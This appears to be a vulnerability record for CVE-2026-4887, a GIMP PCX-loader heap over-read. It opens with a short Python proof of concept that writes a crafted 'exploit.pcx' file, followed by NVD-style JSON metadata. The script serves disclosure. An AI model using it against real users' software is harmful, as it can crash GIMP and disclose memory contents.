CVE-2026-4887

import struct # Generate a malicious PCX file to trigger the off-by-one heap buffer over-read. # This is a conceptual PoC based on the vulnerability description. def create_malicious_pcx(filename): # PCX Header (128 bytes) # Manufacturer: 10 (ZSoft) # Version: 5 # Encoding: 1 (RLE) # Bits per pixel: 8 header = b'\x0A\x05\x01\x08' header += b'\x00\x00' + b'\x00\x00' + b'\x80\x02' + b'\xE0\x01' # Xmin, Ymin, Xmax, Ymax header += b'\x80\x02' + b'\xE0\x01' # Hres, Vres header += b'\x00' * 48 # Palette header += b'\x00' # Reserved header += b'\x01' # Bit planes # Setting Bytes per line to a value that triggers off-by-one calculation header += struct.pack('<H', 641) header += b'\x01\x00' # Palette info header += b'\x00' * 58 # Filler # Malicious body data data = b'\xFF' * 100 with open(filename, 'wb') as f: f.write(header + data) create_malicious_pcx('exploit.pcx')

{"cve": {"id": "CVE-2026-4887", "sourceIdentifier": "[email protected]", "published": "2026-03-26T13:16:30.780", "lastModified": "2026-05-20T04:16:55.907", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in GIMP. This issue is a heap buffer over-read in GIMP PCX file loader due to an off-by-one error. A remote attacker could exploit this by convincing a user to open a specially crafted PCX image. Successful exploitation could lead to out-of-bounds memory disclosure and a possible application crash, resulting in a Denial of Service (DoS)."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en GIMP. Este problema es una lectura excesiva de búfer de pila en el cargador de archivos PCX de GIMP debido a un error de uno. Un atacante remoto podría explotar esto al convencer a un usuario de abrir una imagen PCX especialmente diseñada. La explotación exitosa podría llevar a la divulgación de memoria fuera de límites y a un posible fallo de la aplicación, lo que resultaría en una denegación de servicio (DoS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-193"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.0", "matchCriteriaId": "B47B700C-2770-4859-8535-02733AB22EDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.2.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "7FD8D154-2B8E-4DC9-BF0F-A5E7A7141ED8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.2.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "2585D713-54B3-494C-99DC-53E3A7CE0CFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.2.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "2FDE25FB-1089-4611-BC6A-584D06A5E5D6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": false, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": false, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": false, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:16484", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:17533", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19362", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4887", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451669", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/gimp/-/issues/15960", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}